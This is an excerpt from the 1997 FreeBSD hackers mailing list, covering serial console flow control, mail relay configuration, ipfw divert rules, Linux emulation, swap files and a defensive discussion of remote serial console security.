(MST) Cc: terry@lambert.org, giles@nemeton.com.au, rblim@aht.com, hackers@freebsd.org In-Reply-To: <199706271211.IAA11178@gatekeeper.itribe.net> from "Jamie Bowden" at Jun 27, 97 08:12:37 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Non-local addresses can be responded with "551 User not local". You > > can give this response for a non-local source address, as well as a > > non-local target address (ie: you refuse relaying). > > This also means you can't act as secondary MX for people you sell > bandwidth to. Necessary for me, don't know how many others. Not true. You simply lie ans say they're local. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Jun 27 09:05:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA28942 for hackers-outgoing; Fri, 27 Jun 1997 09:05:01 -0700 (PDT) Received: from dragon.cmnsens.zoom.com (dragon.cmnsens.zoom.com [207.33.155.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA28927 for ; Fri, 27 Jun 1997 09:04:54 -0700 (PDT) Received: from cmnsens.cmnsens.zoom.com (cmnsens.cmnsens.zoom.com [207.33.155.2]) by dragon.cmnsens.zoom.com (8.8.6/8.8.6) with SMTP id JAA00309 for ; Fri, 27 Jun 1997 09:04:49 -0700 (PDT) Message-Id: <199706271604.JAA00309@dragon.cmnsens.zoom.com> From: "Mike Burgett" To: "freebsd-hackers@freebsd.org" Date: Fri, 27 Jun 97 09:04:52 -0700 Reply-To: "Mike Burgett" Priority: Normal X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: com console, and h/w flow control... Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, I'm running a 2.2-RELENG box headless, and have noticed that there's no output flow control on the com console. (I've enabled the com console in both my boot blocks, and the kernel.) My various attempts to convince it to use h/w flow control have been unsuccessful, as far as /dev/ttyd0 goes, though it looks like the init device, /dev/ttyid0, is set correctly: # stty -f /dev/ttyd0 speed 115200 baud; lflags: echoe echoke echoctl cflags: cs8 -parenb clocal erase status ^H ^T # stty -f /dev/ttyid0 speed 115200 baud; lflags: echoe echoke echoctl oflags: -oxtabs cflags: cs8 -parenb clocal crtscts # Any pointers about how to fix this will be gratefully followed up.... Thanks, Mike From owner-freebsd-hackers Fri Jun 27 09:12:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29439 for hackers-outgoing; Fri, 27 Jun 1997 09:12:31 -0700 (PDT) Received: from ice.cold.org (cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA29428 for ; Fri, 27 Jun 1997 09:12:26 -0700 (PDT) Received: from localhost (brandon@localhost) by ice.cold.org (8.8.5/8.8.5) with SMTP id KAA22839; Fri, 27 Jun 1997 10:11:42 -0600 (MDT) Date: Fri, 27 Jun 1997 10:11:42 -0600 (MDT) From: Brandon Gillespie To: Terry Lambert cc: freebsd-hackers@FreeBSD.ORG Subject: so..? Re: Be net friendly, add an 'abuse' alias to the distributed , aliases file In-Reply-To: <199706270845.KAA16376@nietzsche.bowtie.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Just a thought.. why dont we add an 'abuse' alias to the default aliases > > file, since its becoming a pretty standard address (like postmaster, and > > whatnot). > > See RFC2142. So.. are we going to add it to the standard aliases for root..? You didn't need to convince me that it was a standard--that was my point behind requesting it to be added to the default list.. 8) I just checked /usr/src/usr.sbin/sendmail/src/aliases from the 3.0 distribution and they are still the same old ones.. -Brandon Gillespie From owner-freebsd-hackers Fri Jun 27 10:20:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA02687 for hackers-outgoing; Fri, 27 Jun 1997 10:20:58 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA02678 for ; Fri, 27 Jun 1997 10:20:54 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id DAA01015; Sat, 28 Jun 1997 03:20:24 +1000 Date: Sat, 28 Jun 1997 03:20:24 +1000 From: Bruce Evans Message-Id: <199706271720.DAA01015@godzilla.zeta.org.au> To: freebsd-hackers@FreeBSD.ORG, mburgett@cmnsens.zoom.com Subject: Re: com console, and h/w flow control... Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >My various attempts to convince it to use h/w flow control have been >unsuccessful, as far as /dev/ttyd0 goes, though it looks like the init device, >/dev/ttyid0, is set correctly: > ># stty -f /dev/ttyd0 >speed 115200 baud; >lflags: echoe echoke echoctl >cflags: cs8 -parenb clocal >erase status >^H ^T ># stty -f /dev/ttyid0 >speed 115200 baud; >lflags: echoe echoke echoctl >oflags: -oxtabs >cflags: cs8 -parenb clocal crtscts ># Apparently /dev/ttyid0 never gets used because /dev/ttyd0 never gets reopened (init opens it before executing /etc/rc, and syslogd holds it open). The state is easy to change by stty'ing /dev/ttyd0 in /etc/rc.serial or /etc/rc.local. crtscts is not the default, and clocal _is_ the default, to prevent processes endless waits for console output. clocal is locked on. -current also locks the speed. Perhaps crtscts should be locked (off) too. Then stty'ing /dev/ttyd0 would be harder :-). Bruce From owner-freebsd-hackers Fri Jun 27 10:32:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA03301 for hackers-outgoing; Fri, 27 Jun 1997 10:32:17 -0700 (PDT) Received: from dragon.cmnsens.zoom.com (dragon.cmnsens.zoom.com [207.33.155.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA03294 for ; Fri, 27 Jun 1997 10:32:09 -0700 (PDT) Received: from cmnsens.cmnsens.zoom.com (cmnsens.cmnsens.zoom.com [207.33.155.2]) by dragon.cmnsens.zoom.com (8.8.6/8.8.6) with SMTP id KAA00654; Fri, 27 Jun 1997 10:31:51 -0700 (PDT) Message-Id: <199706271731.KAA00654@dragon.cmnsens.zoom.com> From: "Mike Burgett" To: "Bruce Evans" Cc: "freebsd-hackers@freebsd.org" Date: Fri, 27 Jun 97 10:31:53 -0700 Reply-To: "Mike Burgett" Priority: Normal X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: com console, and h/w flow control... Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 28 Jun 1997 03:20:24 +1000, Bruce Evans wrote: >Apparently /dev/ttyid0 never gets used because /dev/ttyd0 never gets >reopened (init opens it before executing /etc/rc, and syslogd holds >it open). The state is easy to change by stty'ing /dev/ttyd0 in >/etc/rc.serial or /etc/rc.local. I've done that (at least I think I have... rc.serial is a strange beast to me...) terminal() { ci=$1; shift co=$1; shift modem $ci $co $* for i in $* do comcontrol /dev/tty$ci$i dtrwait 0 stty crtscts is not the default, and clocal _is_ the default, to prevent >processes endless waits for console output. clocal is locked on. >-current also locks the speed. Perhaps crtscts should be locked >(off) too. Then stty'ing /dev/ttyd0 would be harder :-). Seems hard enough to me already :) ... I keep a terminal emulater window open on another computer on the console at all times anyway, so I'd really like to be able to get around the flow control issue... Thanks, Mike From owner-freebsd-hackers Fri Jun 27 10:56:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA04350 for hackers-outgoing; Fri, 27 Jun 1997 10:56:15 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA04342 for ; Fri, 27 Jun 1997 10:56:10 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id DAA01701; Sat, 28 Jun 1997 03:52:45 +1000 Date: Sat, 28 Jun 1997 03:52:45 +1000 From: Bruce Evans Message-Id: <199706271752.DAA01701@godzilla.zeta.org.au> To: bde@zeta.org.au, mburgett@cmnsens.zoom.com Subject: Re: com console, and h/w flow control... Cc: freebsd-hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>Apparently /dev/ttyid0 never gets used because /dev/ttyd0 never gets >>reopened (init opens it before executing /etc/rc, and syslogd holds >>it open). The state is easy to change by stty'ing /dev/ttyd0 in >>/etc/rc.serial or /etc/rc.local. > >I've done that (at least I think I have... rc.serial is a strange beast to >me...) >... ># Initialize assorted 8250-16550 (sio) ports. >modem d a 1 >terminal d a 0 rc.serial normally only doesn't touch the normal ports, and you don't seem to have changed this. >Seems hard enough to me already :) ... I keep a terminal emulater window open >on another computer on the console at all times anyway, so I'd really like to >be able to get around the flow control issue... You can stty it from any root login (stty crtscts Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05008 for hackers-outgoing; Fri, 27 Jun 1997 11:08:21 -0700 (PDT) Received: from fang.cs.sunyit.edu (perlsta@fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05000; Fri, 27 Jun 1997 11:08:12 -0700 (PDT) Received: from localhost (perlsta@localhost) by fang.cs.sunyit.edu (8.7.6/8.7.3) with SMTP id OAA08131; Fri, 27 Jun 1997 14:07:48 -0400 (EDT) Date: Fri, 27 Jun 1997 14:07:48 -0400 (EDT) From: Alfred Perlstein To: Alejandro Galindo Chairez cc: questions@FreeBSD.ORG, isp@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: ipfw: setsockopt failed In-Reply-To: <1.5.4.32.19970626200702.0068336c@io.com.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I have the next problem: > > When the "ipfw flush" comand is executed the system send me the message: > > setsockopt failed this is dumb, but are you root when you try this? > or when i executed: > > ipfw add divert 32000 ip from any to any via ed1 for example > > the system send me the message > > 00000 divert 32000 ip from any to any via ed1 > ipfw: setsockopt(IP_FW_ADD): Invalid argument > > Why? and How can i resolv the problem? > you need to specify the port to divert to :) ie. from my machine: /sbin/ipfw add 2000 divert 6668 all from any to any via ed0 | this is the port number -----/ you should have a program listening to the port to manipulate the data coming in. From owner-freebsd-hackers Fri Jun 27 11:19:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05475 for hackers-outgoing; Fri, 27 Jun 1997 11:19:10 -0700 (PDT) Received: from vinyl.quickweb.com (vinyl.quickweb.com [206.222.77.8]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05465 for ; Fri, 27 Jun 1997 11:19:06 -0700 (PDT) Received: (from mark@localhost) by vinyl.quickweb.com (8.8.5/8.6.12) id OAA07763; Fri, 27 Jun 1997 14:14:37 -0400 (EDT) Message-ID: <19970627141436.02871@vinyl.quickweb.com> Date: Fri, 27 Jun 1997 14:14:36 -0400 From: Mark Mayo To: Mikael Karpberg Cc: hackers@FreeBSD.ORG Subject: Re: Linux emulation problem? References: <199706262102.XAA10322@ocean.campus.luth.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69e In-Reply-To: <199706262102.XAA10322@ocean.campus.luth.se>; from Mikael Karpberg on Thu, Jun 26, 1997 at 11:02:01PM +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Jun 26, 1997 at 11:02:01PM +0200, Mikael Karpberg wrote: > > Umm... I ran into somthing I have no idea what it means: > > troot@ocean /compat/linux 76# brandelf /compat/linux/sbin/ldconfig > File '/compat/linux/sbin/ldconfig' is of brand 'Linux'. > troot@ocean /compat/linux 77# /compat/linux/sbin/ldconfig > ELF binary type not known > Abort > troot@ocean /compat/linux 78# > > Umm... Doesn't FreeBSD support ELF these days? And if not, why is an ELF > Linux program shipped in the linux-lib port?! You haven't loaded the Linux LKM... just type 'linux' as root, or 'modload /lkm/linux_mod.o'. Or put linux_enable="YES" in your /etc/rc.conf -Mark > > I'm running 2.2-970627-RELENG, if that makes a difference... > > /Mikael -- ---------------------------------------------------------------------------- Mark Mayo mark@quickweb.com RingZero Comp. http://vinyl.quickweb.com/mark finger mark@quickweb.com for my PGP key and GCS code ---------------------------------------------------------------------------- University degrees are a bit like adultery: you may not want to get involved with that sort of thing, but you don't want to be thought incapable. -Sir Peter Imbert From owner-freebsd-hackers Fri Jun 27 13:10:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12614 for hackers-outgoing; Fri, 27 Jun 1997 13:10:44 -0700 (PDT) Received: from kaori.communique.net (kaori.Communique.Net [204.27.65.55]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA12608 for ; Fri, 27 Jun 1997 13:10:41 -0700 (PDT) Received: by kaori.Communique.Net with Internet Mail Service (5.0.1457.3) id ; Fri, 27 Jun 1997 15:09:12 -0500 Message-ID: From: Raul Zighelboim To: "'hackers@freefall.freebsd.org'" Subject: vnconfig and swapon... Date: Fri, 27 Jun 1997 15:09:07 -0500 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello there! I added the following two lines to my kernel configuration: options NSWAPDEV=2 pseudo-device vn to add a swap file to my system. Them I did (after rebooting, of course) conf# vnconfig -e /dev/vn0b /var/news/spool/articles/swap.file swap swapon: Device not configured as 'vnconfig -e /dev/vn0b /var/news/spool/articles/swap.file' works fine, I assume that the problem lies with swapon /dev/vn0b.... What am I doing wrong ? Thanks. From owner-freebsd-hackers Fri Jun 27 15:28:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA18698 for hackers-outgoing; Fri, 27 Jun 1997 15:28:30 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA18691 for ; Fri, 27 Jun 1997 15:28:26 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id IAA29510; Sat, 28 Jun 1997 08:28:15 +1000 (EST) Date: Sat, 28 Jun 1997 08:28:14 +1000 (EST) From: "Daniel O'Callaghan" To: Jamie Bowden cc: hackers@FreeBSD.ORG Subject: Re: talking in SMTP In-Reply-To: <199706271211.IAA11178@gatekeeper.itribe.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 27 Jun 1997, Jamie Bowden wrote: > On Thu, 26 Jun 1997, Terry Lambert wrote: > > > Non-local addresses can be responded with "551 User not local". You > > can give this response for a non-local source address, as well as a > > non-local target address (ie: you refuse relaying). > > This also means you can't act as secondary MX for people you sell > bandwidth to. Necessary for me, don't know how many others. No, you define as local your customers for whom you will relay mail. /* Daniel O'Callaghan */ /* HiLink Internet danny@hilink.com.au */ /* FreeBSD - works hard, plays hard... danny@freebsd.org */ From owner-freebsd-hackers Sat Jun 28 00:21:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA09046 for hackers-outgoing; Sat, 28 Jun 1997 00:21:55 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA09036 for ; Sat, 28 Jun 1997 00:21:48 -0700 (PDT) Received: (qmail 28514 invoked by uid 1000); 28 Jun 1997 07:14:56 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199706270741.RAA17175@godzilla.zeta.org.au> Date: Sat, 28 Jun 1997 00:14:56 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Bruce Evans Subject: Re: Clists limited to 1024 bytes? Cc: hackers@FreeBSD.ORG, bmcgover@cisco.com Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Bruce Evans; On 27-Jun-97 you wrote: ... > You don't want to do this. At 19200 bps, an 8K buffer takes more than > 4 seconds to fill. A latency of 4 seconds is normally about 400 times > too large. At such a low speed, there is normally nothing better than > delivering input in tiny bursts of 19-20 characters every 10 msec. Except with heavy PPP loads. Right? Simon From owner-freebsd-hackers Sat Jun 28 00:21:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA09053 for hackers-outgoing; Sat, 28 Jun 1997 00:21:56 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA09035 for ; Sat, 28 Jun 1997 00:21:48 -0700 (PDT) Received: (qmail 28507 invoked by uid 1000); 28 Jun 1997 07:14:56 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199706271720.DAA01015@godzilla.zeta.org.au> Date: Sat, 28 Jun 1997 00:14:56 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Bruce Evans Subject: Re: com console, and h/w flow control... Cc: mburgett@cmnsens.zoom.com, freebsd-hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Bruce Evans; On 27-Jun-97 you wrote: ... > crtscts is not the default, and clocal _is_ the default, to prevent > processes endless waits for console output. clocal is locked on. > -current also locks the speed. Perhaps crtscts should be locked > (off) too. Then stty'ing /dev/ttyd0 would be harder :-). > > Bruce There is a serious security issue here, worth considering (assuming clocal mode ignore modem controls): One logs in on the serial console from a modem (or terminal server), becomes root and the serial connection drops (noisy modem line, etc.). At this point ANYONE who dials-in is ROOT! Even if you did not login as root, all one has to do is dial-in, type the magic key sequence and be in the kernel debugger. The most common configuration in an industrial computer setup is to have a group of PC's, in a 19" rackmount, all on serial console, all attached to a terminal server. the terminal server is attached to a modem and/or Ethernet, via which the group of processors is managed. Actually, we are building just such system right now. We ridicule Slowlaris to no end for their incredible stupidity by having just such a ``feature''. I am SURE I am missing something in this discussion... Simon From owner-freebsd-hackers Sat Jun 28 00:51:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA10456 for hackers-outgoing; Sat, 28 Jun 1997 00:51:36 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA10451 for ; Sat, 28 Jun 1997 00:51:33 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0whsEv-0002MS-00; Sat, 28 Jun 1997 00:48:13 -0700 Date: Sat, 28 Jun 1997 00:48:12 -0700 (PDT) From: Tom Samplonius To: Simon Shapiro cc: Bruce Evans , mburgett@cmnsens.zoom.com, freebsd-hackers@freebsd.org Subject: Re: com console, and h/w flow control... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 28 Jun 1997, Simon Shapiro wrote: > One logs in on the serial console from a modem (or terminal server), > becomes root and the serial connection drops (noisy modem line, etc.). > > At this point ANYONE who dials-in is ROOT! This is not really what the COM console was designed for anyhow. Don't use a modem on it, ever. Not only could modem users grab root, as above, if they happen to be on when the system is booting, they could simply boot single user. Remember, the COM console features give you CONSOLE access, and such access should not be taken lightly! So DON'T use a modem on a COM console. Configure a regular serial port instead. If you need to use the console remotely, and want to use COM console for this, use another FreeBSD box with a null modem cable to the console port. Or, you could use a terminal server for this (this is what I do, mainly because I have a two spare Portmasters). Tom From owner-freebsd-hackers Sat Jun 28 01:01:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA10819 for hackers-outgoing; Sat, 28 Jun 1997 01:01:15 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA10813 for ; Sat, 28 Jun 1997 01:01:10 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id BAA02776; Sat, 28 Jun 1997 01:00:14 -0700 (PDT) To: Simon Shapiro cc: Bruce Evans , mburgett@cmnsens.zoom.com, freebsd-hackers@FreeBSD.ORG Subject: Re: com console, and h/w flow control... In-reply-to: Your message of "Sat, 28 Jun 1997 00:14:56 PDT." Date: Sat, 28 Jun 1997 01:00:14 -0700 Message-ID: <2772.867484814@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Actually, we are building just such system right now. We ridicule > Slowlaris to no end for their incredible stupidity by having just such a > ``feature''. > > I am SURE I am missing something in this discussion... A good grasp of terminal server security? :-) Seriously, I have to wonder at this whole line of inquiry. Let's forget FreeBSD for a moment and say that I've got the console ports to all my cisco routers wired up to such a terminal server. Can you seriously tell me that I'd be in my right mind to let _anyone_ other than the admin staff be able to log into this particular terminal server, much less know the phone numbers for it? There's a lot you can do if you've got a wired-in connection to the serial console of any ten devices I can name, much less FreeBSD, and you guard that connectivity just as jealously as you guard the physical security of the machine or you expect your life to suck. Jordan From owner-freebsd-hackers Sat Jun 28 01:37:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA12084 for hackers-outgoing; Sat, 28 Jun 1997 01:37:01 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA12070 for ; Sat, 28 Jun 1997 01:36:49 -0700 (PDT) Received: (qmail 23821 invoked by uid 1000); 28 Jun 1997 08:32:54 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <2772.867484814@time.cdrom.com> Date: Sat, 28 Jun 1997 01:32:54 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: "Jordan K. Hubbard" Subject: Re: com console, and h/w flow control... Cc: Bruce Evans , mburgett@cmnsens.zoom.com, freebsd-hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi "Jordan K. Hubbard"; On 28-Jun-97 you wrote: > > Actually, we are building just such system right now. We ridicule > > Slowlaris to no end for their incredible stupidity by having just such > a > > ``feature''. > > > > I am SURE I am missing something in this discussion... > > A good grasp of terminal server security? :-) If it makes you feel better :-)) No, really, I wanted a documented opinion. and there IS a problem to be solved here. > Seriously, I have to wonder at this whole line of inquiry. Let's > forget FreeBSD for a moment and say that I've got the console ports to > all my cisco routers wired up to such a terminal server. Can you > seriously tell me that I'd be in my right mind to let _anyone_ other > than the admin staff be able to log into this particular terminal > server, much less know the phone numbers for it? There's a lot you > can do if you've got a wired-in connection to the serial console of > any ten devices I can name, much less FreeBSD, and you guard that > connectivity just as jealously as you guard the physical security of > the machine or you expect your life to suck. I agree. BTW, guarding the phone number is quite meaningless. Especially when it is on a prefix known to hackers to belong to a telephone switch. This whole discussion (I apologize for the direction shift), is very important to us. We have clusters of Unix boxes that have to be administered remotely. What we want to acomplish is EXACTLY the ability to drop into a debugger and/or boot single-user. A terminal server is a sane and reasonable way to do it. A great majority of security risks can go way if one disables kernel debuggers and/or the ability to boot SU (how do they do that?). Having modem control is vital on these connections, as connection drops must be immedietely followed by SIGHUP to the controlling process. We take care of secure root login by ssh session over TCP/IP. Simon From owner-freebsd-hackers Sat Jun 28 01:37:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA12090 for hackers-outgoing; Sat, 28 Jun 1997 01:37:02 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA12071 for ; Sat, 28 Jun 1997 01:36:50 -0700 (PDT) Received: (qmail 23823 invoked by uid 1000); 28 Jun 1997 08:32:55 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sat, 28 Jun 1997 01:32:54 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Tom Samplonius Subject: Re: com console, and h/w flow control... Cc: Bruce Evans , mburgett@cmnsens.zoom.com, freebsd-hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Tom Samplonius; On 28-Jun-97 you wrote: > > On Sat, 28 Jun 1997, Simon Shapiro wrote: > > > One logs in on the serial console from a modem (or terminal server), > > becomes root and the serial connection drops (noisy modem line, etc.). > > > > At this point ANYONE who dials-in is ROOT! > > This is not really what the COM console was designed for anyhow. Don't > use a modem on it, ever. > > Not only could modem users grab root, as above, if they happen to be on > when the system is booting, they could simply boot single user. This is easily fixed by having DTR stay low until the kernel initializeds the driver (which is probably what happens now). A properly setup modem (or terminal server) will not connect until DTR goes true. > Remember, > the COM console features give you CONSOLE access, and such access should > not be taken lightly! Exactly my point! But how do we satisfy the need for remote access to the console? One needs some sort of firewall. Another Unix BOX with null modem as you suggest below) will do it. but how do you protect that machine? Besides, this arrangement is no different than a terminal server and it introduces a single point of failure. No good. > So DON'T use a modem on a COM console. Configure a regular serial port > instead. That is obviously clear (clearly obvious?), but does not answer the question: What would you recommed as a SECURE remote console access? > If you need to use the console remotely, and want to use COM console > for > this, use another FreeBSD box with a null modem cable to the console > port. > Or, you could use a terminal server for this (this is what I do, mainly > because I have a two spare Portmasters). I am thinking of a product definition for hundreds of world-wide installation. we want a secure remote port. Having a terminal server is a reasonable way to doit, but it is a SPOF. Buth security and availability wise. Simon From owner-freebsd-hackers Sat Jun 28 01:49:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA12431 for hackers-outgoing; Sat, 28 Jun 1997 01:49:03 -0700 (PDT) Received: from sunsrv5.lrz-muenchen.de (sunsrv5.lrz-muenchen.de [129.187.10.15]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA12426 for ; Sat, 28 Jun 1997 01:49:00 -0700 (PDT) From: kdp0101@hpmail.lrz-muenchen.de Received: from hp11.lrz-muenchen.de by sunsrv5.lrz-muenchen.de; Sat, 28 Jun 97 10:48:57 +0200 Received: by hp11.lrz-muenchen.de (1.37.109.16/16.2) id AA241817737; Sat, 28 Jun 1997 10:48:57 +0200 Subject: BSDI Syncache in FreeBSD? To: freebsd-hackers@freebsd.org Date: Sat, 28 Jun 1997 10:48:57 METDST X-Mailer: Elm [revision: 109.18] Message-Id: <33b4cff90ef0002@sunsrv5.lrz-muenchen.de> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, is there any ongoing work to integrate David Borman's syncache implementation (ftp://ftp.bsdi.com/contrib/bsdi_contrib/44Lite-SYNcache.gz) into -current? Thanks, -Andi From owner-freebsd-hackers Sat Jun 28 06:56:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA20298 for hackers-outgoing; Sat, 28 Jun 1997 06:56:21 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA20293 for ; Sat, 28 Jun 1997 06:56:17 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id XAA30041; Sat, 28 Jun 1997 23:53:27 +1000 Date: Sat, 28 Jun 1997 23:53:27 +1000 From: Bruce Evans Message-Id: <199706281353.XAA30041@godzilla.zeta.org.au> To: bde@zeta.org.au, Shimon@i-Connect.Net Subject: Re: Clists limited to 1024 bytes? Cc: bmcgover@cisco.com, hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> You don't want to do this. At 19200 bps, an 8K buffer takes more than >> 4 seconds to fill. A latency of 4 seconds is normally about 400 times >> too large. At such a low speed, there is normally nothing better than >> delivering input in tiny bursts of 19-20 characters every 10 msec. > >Except with heavy PPP loads. Right? For ppp, it is better to deliver input in full packets a few microseconds after each packet becomes complete. The sio and cy drivers more or less do this (they delivers input every 10 msec and a few microseconds after a PPP_FLAG character is received). To match the throughput of these drivers, the hardware must support interrupting at least as often as these drivers would deliver a packet. The cy hardware has support for interrupting on every PPP_FLAG (and some other) characters, but it is not used by default because the extra interrupts cost more and the latency was only reduced by a few hundred microseconds (at most the time to fill the input fifo). Perhaps this option should be used at low speeds. The interrupt-on-special-character feature would be essential for devices with larger fifos (unless the device supports ppp directly). Anyway, 19200 bps is not a heavy load unless there are a lot of active ports. With 32 active 16550 ports it would be fairly heavy, but still gives less than 6% of the throughput of a single 10Mb/s 